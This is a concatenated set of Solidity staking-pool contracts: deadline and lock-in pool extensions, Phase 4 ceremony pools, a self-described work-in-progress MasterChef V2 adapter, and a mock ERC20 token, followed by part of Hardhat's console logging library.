lastUpdateTime = block.timestamp;
periodFinish = block.timestamp.add(duration);
emit RewardAdded(reward);
}
/* ----- RECOVER_ROLE ----- */
/**
* @notice Provide accidental token retrieval.
* @dev Sourced from synthetix/contracts/StakingRewards.sol
*/
function recoverERC20(address tokenAddress, uint256 tokenAmount) external {
require(hasRole(RECOVER_ROLE, _msgSender()), "BasePool/RecoverRole");
require(tokenAddress != address(stakeToken), "BasePool/NoRecoveryOfStake");
require(
tokenAddress != address(rewardToken),
"BasePool/NoRecoveryOfReward"
);
emit Recovered(tokenAddress, tokenAmount);
IERC20(tokenAddress).safeTransfer(_msgSender(), tokenAmount);
}
/* ========== HOOKS ========== */
/**
* @dev Hook that is called before any staking of tokens.
*
* Calling conditions:
*
* - `amount` of ``staker``'s tokens will be staked into the pool
* - `recipient` can withdraw.
*/
function _beforeStake(
address staker,
address recipient,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called before any staking of tokens.
*
* Calling conditions:
*
* - `amount` of ``from``'s tokens will be withdrawn into the pool
*/
function _beforeWithdraw(address from, uint256 amount) internal virtual {}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "./BasePool.sol";
import "./extensions/DeadlinePool.sol";
import "./extensions/LockInPool.sol";
/**
* Phase 4a Pool - is a special ceremony pool that can only be joined within the window period and has a Lock in period for the tokens
*/
contract Phase4aPool is DeadlinePool, LockInPool {
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new BasePool
* @param _admin The default role controller
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _rewardToken The reward token to distribute
* @param _stakingToken The staking token used to qualify for rewards
* @param _startWindow When ceremony starts
* @param _endWindow When ceremony ends
*/
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken,
address _stakingToken,
uint256 _duration,
uint256 _startWindow,
uint256 _endWindow
)
DeadlinePool(
_admin,
_rewardDistribution,
_rewardToken,
_stakingToken,
_duration,
_startWindow,
_endWindow
)
{}
// COMPILER HINTS for overrides
function _beforeStake(
address staker,
address recipient,
uint256 amount
) internal virtual override(LockInPool, DeadlinePool) {
super._beforeStake(staker, recipient, amount);
}
function _beforeWithdraw(address from, uint256 amount)
internal
virtual
override(BasePool, LockInPool)
{
super._beforeWithdraw(from, amount);
}
function balanceOf(address account)
public
view
virtual
override(BasePool, LockInPool)
returns (uint256)
{
return super.balanceOf(account);
}
function totalSupply()
public
view
virtual
override(BasePool, LockInPool)
returns (uint256)
{
return super.totalSupply();
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "../BasePool.sol";
import "../../lib/Windowed.sol";
/**
* @notice Only allow staking before the deadline.
*/
abstract contract DeadlinePool is BasePool, Windowed {
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken,
address _stakingToken,
uint256 _duration,
uint256 _startWindow,
uint256 _endWindow
)
BasePool(
_admin,
_rewardDistribution,
_rewardToken,
_stakingToken,
_duration
)
Windowed(_startWindow, _endWindow)
{}
function _beforeStake(
address staker,
address recipient,
uint256 amount
) internal virtual override(BasePool) inWindow {
super._beforeStake(staker, recipient, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../BasePool.sol";
/**
* Integrates a timelock of `LOCK_DURATION` on the Pool.
* Can only withdraw from the pool if:
* - not started
* - or requested an unlock and waited the `LOCK_DURATION`
* - or the rewards have finished for `REFILL_ALLOWANCE`.
*/
abstract contract LockInPool is BasePool {
using SafeMath for uint256;
uint256 private constant REFILL_ALLOWANCE = 2 hours;
uint256 private constant LOCK_DURATION = 8 days;
mapping(address => uint256) public unlocks;
uint256 private _unlockingSupply;
event Unlock(address indexed account);
/* ========== VIEWS ========== */
/**
* @notice The balance that is currently being unlocked
* @param account The account we're interested in.
*/
function inLimbo(address account) public view returns (uint256) {
if (unlocks[account] == 0) {
return 0;
}
return super.balanceOf(account);
}
/// @inheritdoc BasePool
function balanceOf(address account)
public
view
virtual
override(BasePool)
returns (uint256)
{
if (unlocks[account] != 0) {
return 0;
}
return super.balanceOf(account);
}
/// @inheritdoc BasePool
function totalSupply()
public
view
virtual
override(BasePool)
returns (uint256)
{
return super.totalSupply().sub(_unlockingSupply);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* @notice Request unlock of the token, removing this senders reward accural by:
* - Setting balanceOf to return 0 (used for reward calculation) and adjusting total supply by amount unlocking.
*/
function unlock() external updateReward(msg.sender) {
require(unlocks[msg.sender] == 0, "LockIn/UnlockOnce");
_unlockingSupply = _unlockingSupply.add(balanceOf(msg.sender));
unlocks[msg.sender] = block.timestamp;
emit Unlock(msg.sender);
}
/* ========== HOOKS ========== */
/**
* @notice Handle unlocks when staking, resets lock if was unlocking
*/
function _beforeStake(
address staker,
address recipient,
uint256 amount
) internal virtual override(BasePool) {
super._beforeStake(staker, recipient, amount);
if (unlocks[recipient] != 0) {
// If we are resetting an unlock, reset the unlockingSupply
_unlockingSupply = _unlockingSupply.sub(inLimbo(recipient));
unlocks[recipient] = 0;
}
}
/**
* @dev Prevent withdrawal if:
* - has started (i.e. rewards have entered the pool)
* - before finished (+ allowance)
* - not unlocked `LOCK_DURATION` ago
*
* - reset the unlock, so you can re-enter.
*/
function _beforeWithdraw(address recipient, uint256 amount)
internal
virtual
override(BasePool)
{
super._beforeWithdraw(recipient, amount);
// Before rewards have been added / after + `REFILL`
bool releaseWithoutLock =
block.timestamp >= periodFinish.add(REFILL_ALLOWANCE);
// A lock has been requested and the `LOCK_DURATION` has passed.
bool releaseWithLock =
(unlocks[recipient] != 0) &&
(unlocks[recipient] <= block.timestamp.sub(LOCK_DURATION));
require(releaseWithoutLock || releaseWithLock, "LockIn/NotReleased");
if (unlocks[recipient] != 0) {
// Reduce unlocking supply (so we don't keep discounting total supply when
// it is reduced). Amount will be validated in withdraw proper.
_unlockingSupply = _unlockingSupply.sub(amount);
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "./extensions/LockInPool.sol";
/**
* Phase4Pool that acts as a SNX Reward Contract, with an 8 day token lock.
*/
contract Phase4Pool is LockInPool {
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new Phase4Pool
* @param _admin The default role controller
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _rewardToken The reward token to distribute
* @param _stakingToken The staking token used to qualify for rewards
* @param _duration Duration for token
*/
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken,
address _stakingToken,
uint256 _duration
)
BasePool(
_admin,
_rewardDistribution,
_rewardToken,
_stakingToken,
_duration
)
{}
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "../interfaces/IMasterChefRewarder.sol";
import "../BasePool.sol";
// !!!! WIP !!!!!
// This code doesn't work. You can deposit via sushi, withdraw through normal functions.
// Must separate the balances and only keep them the same for the rewards.
/**
* Provides adapters to allow this reward contract to be used as a MASTERCHEF V2 Rewards contract
*/
abstract contract MasterChefV2Pool is BasePool, IMasterChefRewarder {
using SafeMath for uint256;
address private immutable masterchefV2;
/* ========== CONSTRUCTOR ========== */
/**
* @notice Construct a new MasterChefV2Pool
* @param _admin The default role controller
* @param _rewardDistribution The reward distributor (can change reward rate)
* @param _rewardToken The reward token to distribute
* @param _stakingToken The staking token used to qualify for rewards
* @param _duration The duration for each reward distribution
* @param _masterchefv2 The trusted masterchef contract
*/
constructor(
address _admin,
address _rewardDistribution,
address _rewardToken,
address _stakingToken,
uint256 _duration,
address _masterchefv2
)
BasePool(
_admin,
_rewardDistribution,
_rewardToken,
_stakingToken,
_duration
)
{
masterchefV2 = _masterchefv2;
}
/* ========== MODIFIERS ========== */
modifier onlyMCV2 {
require(msg.sender == masterchefV2, "MasterChefV2Pool/OnlyMCV2");
_;
}
/* ========== VIEWS ========== */
function pendingTokens(
uint256,
address user,
uint256
)
external
view
override(IMasterChefRewarder)
returns (IERC20[] memory rewardTokens, uint256[] memory rewardAmounts)
{
IERC20[] memory _rewardTokens = new IERC20[](1);
_rewardTokens[0] = (rewardToken);
uint256[] memory _rewardAmounts = new uint256[](1);
_rewardAmounts[0] = earned(user);
return (_rewardTokens, _rewardAmounts);
}
/* ========== MUTATIVE FUNCTIONS ========== */
/**
* Adds to the internal balance record,
*/
function onSushiReward(
uint256,
address _user,
address,
uint256,
uint256 newLpAmount
) external override(IMasterChefRewarder) onlyMCV2 updateReward(_user) {
uint256 internalBalance = _balances[_user];
if (internalBalance > newLpAmount) {
// _withdrawWithoutPush(_user, internalBalance.sub(newLpAmount));
} else if (internalBalance < newLpAmount) {
// _stakeWithoutPull(_user, _user, newLpAmount.sub(internalBalance));
}
}
}
// SPDX-License-Identifier: MIT
pragma solidity =0.7.6;
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
interface IMasterChefRewarder {
function onSushiReward(
uint256 pid,
address user,
address recipient,
uint256 sushiAmount,
uint256 newLpAmount
) external;
function pendingTokens(
uint256 pid,
address user,
uint256 sushiAmount
) external view returns (IERC20[] memory, uint256[] memory);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "@openzeppelin/contracts/access/AccessControl.sol";
import "@openzeppelin/contracts/GSN/Context.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20.sol";
import "@openzeppelin/contracts/token/ERC20/ERC20Burnable.sol";
import "../interfaces/ISupplyControlledERC20.sol";
import "hardhat/console.sol";
/**
* @dev {ERC20} token, including:
*
* - ability for holders to burn (destroy) their tokens
* - a pauser role that allows to stop all token transfers
*
* This contract uses {AccessControl} to lock permissioned functions using the
* different roles - head to its documentation for details.
*
* This has an open mint functionality
*/
// ISupplyControlledERC20,
contract SupplyControlledTokenMock is AccessControl, ERC20Burnable {
bytes32 public constant MINTER_ROLE = keccak256("MINTER_ROLE");
/**
* @dev Grants `DEFAULT_ADMIN_ROLE` to the
* account that deploys the contract.
*
* See {ERC20-constructor}.
*/
constructor(
address _admin,
string memory _name,
string memory _symbol,
uint8 _decimals
) ERC20(_name, _symbol) {
_setupRole(DEFAULT_ADMIN_ROLE, _admin);
_setupRole(MINTER_ROLE, _admin);
_setupDecimals(_decimals);
}
/**
* @dev Creates `amount` new tokens for `to`.
*
* See {ERC20-_mint}.
*
*/
function mint(address to, uint256 amount) external {
require(hasRole(MINTER_ROLE, _msgSender()), "SCTokenMock/MinterRole");
_mint(to, amount);
}
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal override(ERC20) {
// console.log(symbol(), from, "->", to);
// console.log(symbol(), ">", amount);
super._beforeTokenTransfer(from, to, amount);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >= 0.4.22 <0.9.0;
library console {
address constant CONSOLE_ADDRESS = address(0x000000000000000000636F6e736F6c652e6c6f67);
function _sendLogPayload(bytes memory payload) private view {
uint256 payloadLength = payload.length;
address consoleAddress = CONSOLE_ADDRESS;
assembly {
let payloadStart := add(payload, 32)
let r := staticcall(gas(), consoleAddress, payloadStart, payloadLength, 0, 0)
}
}
function log() internal view {
_sendLogPayload(abi.encodeWithSignature("log()"));
}
function logInt(int p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(int)", p0));
}
function logUint(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function logString(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function logBool(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function logAddress(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function logBytes(bytes memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes)", p0));
}
function logBytes1(bytes1 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes1)", p0));
}
function logBytes2(bytes2 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes2)", p0));
}
function logBytes3(bytes3 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes3)", p0));
}
function logBytes4(bytes4 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes4)", p0));
}
function logBytes5(bytes5 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes5)", p0));
}
function logBytes6(bytes6 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes6)", p0));
}
function logBytes7(bytes7 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes7)", p0));
}
function logBytes8(bytes8 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes8)", p0));
}
function logBytes9(bytes9 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes9)", p0));
}
function logBytes10(bytes10 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes10)", p0));
}
function logBytes11(bytes11 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes11)", p0));
}
function logBytes12(bytes12 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes12)", p0));
}
function logBytes13(bytes13 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes13)", p0));
}
function logBytes14(bytes14 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes14)", p0));
}
function logBytes15(bytes15 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes15)", p0));
}
function logBytes16(bytes16 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes16)", p0));
}
function logBytes17(bytes17 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes17)", p0));
}
function logBytes18(bytes18 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes18)", p0));
}
function logBytes19(bytes19 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes19)", p0));
}
function logBytes20(bytes20 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes20)", p0));
}
function logBytes21(bytes21 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes21)", p0));
}
function logBytes22(bytes22 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes22)", p0));
}
function logBytes23(bytes23 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes23)", p0));
}
function logBytes24(bytes24 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes24)", p0));
}
function logBytes25(bytes25 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes25)", p0));
}
function logBytes26(bytes26 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes26)", p0));
}
function logBytes27(bytes27 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes27)", p0));
}
function logBytes28(bytes28 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes28)", p0));
}
function logBytes29(bytes29 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes29)", p0));
}
function logBytes30(bytes30 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes30)", p0));
}
function logBytes31(bytes31 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes31)", p0));
}
function logBytes32(bytes32 p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bytes32)", p0));
}
function log(uint p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint)", p0));
}
function log(string memory p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string)", p0));
}
function log(bool p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool)", p0));
}
function log(address p0) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address)", p0));
}
function log(uint p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint)", p0, p1));
}
function log(uint p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string)", p0, p1));
}
function log(uint p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool)", p0, p1));
}
function log(uint p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address)", p0, p1));
}
function log(string memory p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint)", p0, p1));
}
function log(string memory p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string)", p0, p1));
}
function log(string memory p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool)", p0, p1));
}
function log(string memory p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address)", p0, p1));
}
function log(bool p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint)", p0, p1));
}
function log(bool p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string)", p0, p1));
}
function log(bool p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool)", p0, p1));
}
function log(bool p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address)", p0, p1));
}
function log(address p0, uint p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint)", p0, p1));
}
function log(address p0, string memory p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string)", p0, p1));
}
function log(address p0, bool p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool)", p0, p1));
}
function log(address p0, address p1) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address)", p0, p1));
}
function log(uint p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint)", p0, p1, p2));
}
function log(uint p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string)", p0, p1, p2));
}
function log(uint p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool)", p0, p1, p2));
}
function log(uint p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address)", p0, p1, p2));
}
function log(uint p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint)", p0, p1, p2));
}
function log(uint p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string)", p0, p1, p2));
}
function log(uint p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool)", p0, p1, p2));
}
function log(uint p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,address)", p0, p1, p2));
}
function log(uint p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,uint)", p0, p1, p2));
}
function log(uint p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,string)", p0, p1, p2));
}
function log(uint p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,bool)", p0, p1, p2));
}
function log(uint p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,bool,address)", p0, p1, p2));
}
function log(uint p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,uint)", p0, p1, p2));
}
function log(uint p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,string)", p0, p1, p2));
}
function log(uint p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,bool)", p0, p1, p2));
}
function log(uint p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,address,address)", p0, p1, p2));
}
function log(string memory p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,uint)", p0, p1, p2));
}
function log(string memory p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,string)", p0, p1, p2));
}
function log(string memory p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,bool)", p0, p1, p2));
}
function log(string memory p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,uint,address)", p0, p1, p2));
}
function log(string memory p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,uint)", p0, p1, p2));
}
function log(string memory p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,string)", p0, p1, p2));
}
function log(string memory p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,bool)", p0, p1, p2));
}
function log(string memory p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,string,address)", p0, p1, p2));
}
function log(string memory p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,uint)", p0, p1, p2));
}
function log(string memory p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,string)", p0, p1, p2));
}
function log(string memory p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,bool)", p0, p1, p2));
}
function log(string memory p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,bool,address)", p0, p1, p2));
}
function log(string memory p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,uint)", p0, p1, p2));
}
function log(string memory p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,string)", p0, p1, p2));
}
function log(string memory p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,bool)", p0, p1, p2));
}
function log(string memory p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(string,address,address)", p0, p1, p2));
}
function log(bool p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,uint)", p0, p1, p2));
}
function log(bool p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,string)", p0, p1, p2));
}
function log(bool p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,bool)", p0, p1, p2));
}
function log(bool p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,uint,address)", p0, p1, p2));
}
function log(bool p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,uint)", p0, p1, p2));
}
function log(bool p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,string)", p0, p1, p2));
}
function log(bool p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,bool)", p0, p1, p2));
}
function log(bool p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,string,address)", p0, p1, p2));
}
function log(bool p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,uint)", p0, p1, p2));
}
function log(bool p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,string)", p0, p1, p2));
}
function log(bool p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,bool)", p0, p1, p2));
}
function log(bool p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,bool,address)", p0, p1, p2));
}
function log(bool p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,uint)", p0, p1, p2));
}
function log(bool p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,string)", p0, p1, p2));
}
function log(bool p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,bool)", p0, p1, p2));
}
function log(bool p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(bool,address,address)", p0, p1, p2));
}
function log(address p0, uint p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,uint)", p0, p1, p2));
}
function log(address p0, uint p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,string)", p0, p1, p2));
}
function log(address p0, uint p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,bool)", p0, p1, p2));
}
function log(address p0, uint p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,uint,address)", p0, p1, p2));
}
function log(address p0, string memory p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,uint)", p0, p1, p2));
}
function log(address p0, string memory p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,string)", p0, p1, p2));
}
function log(address p0, string memory p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,bool)", p0, p1, p2));
}
function log(address p0, string memory p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,string,address)", p0, p1, p2));
}
function log(address p0, bool p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,uint)", p0, p1, p2));
}
function log(address p0, bool p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,string)", p0, p1, p2));
}
function log(address p0, bool p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,bool)", p0, p1, p2));
}
function log(address p0, bool p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,bool,address)", p0, p1, p2));
}
function log(address p0, address p1, uint p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,uint)", p0, p1, p2));
}
function log(address p0, address p1, string memory p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,string)", p0, p1, p2));
}
function log(address p0, address p1, bool p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,bool)", p0, p1, p2));
}
function log(address p0, address p1, address p2) internal view {
_sendLogPayload(abi.encodeWithSignature("log(address,address,address)", p0, p1, p2));
}
function log(uint p0, uint p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,string,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, bool p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,bool,address)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,uint)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,string)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,bool)", p0, p1, p2, p3));
}
function log(uint p0, uint p1, address p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,uint,address,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, uint p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,uint,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, string memory p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,string)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, bool p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,bool)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, string memory p2, address p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,string,address)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, uint p3) internal view {
_sendLogPayload(abi.encodeWithSignature("log(uint,string,bool,uint)", p0, p1, p2, p3));
}
function log(uint p0, string memory p1, bool p2, string memory p3) internal view {
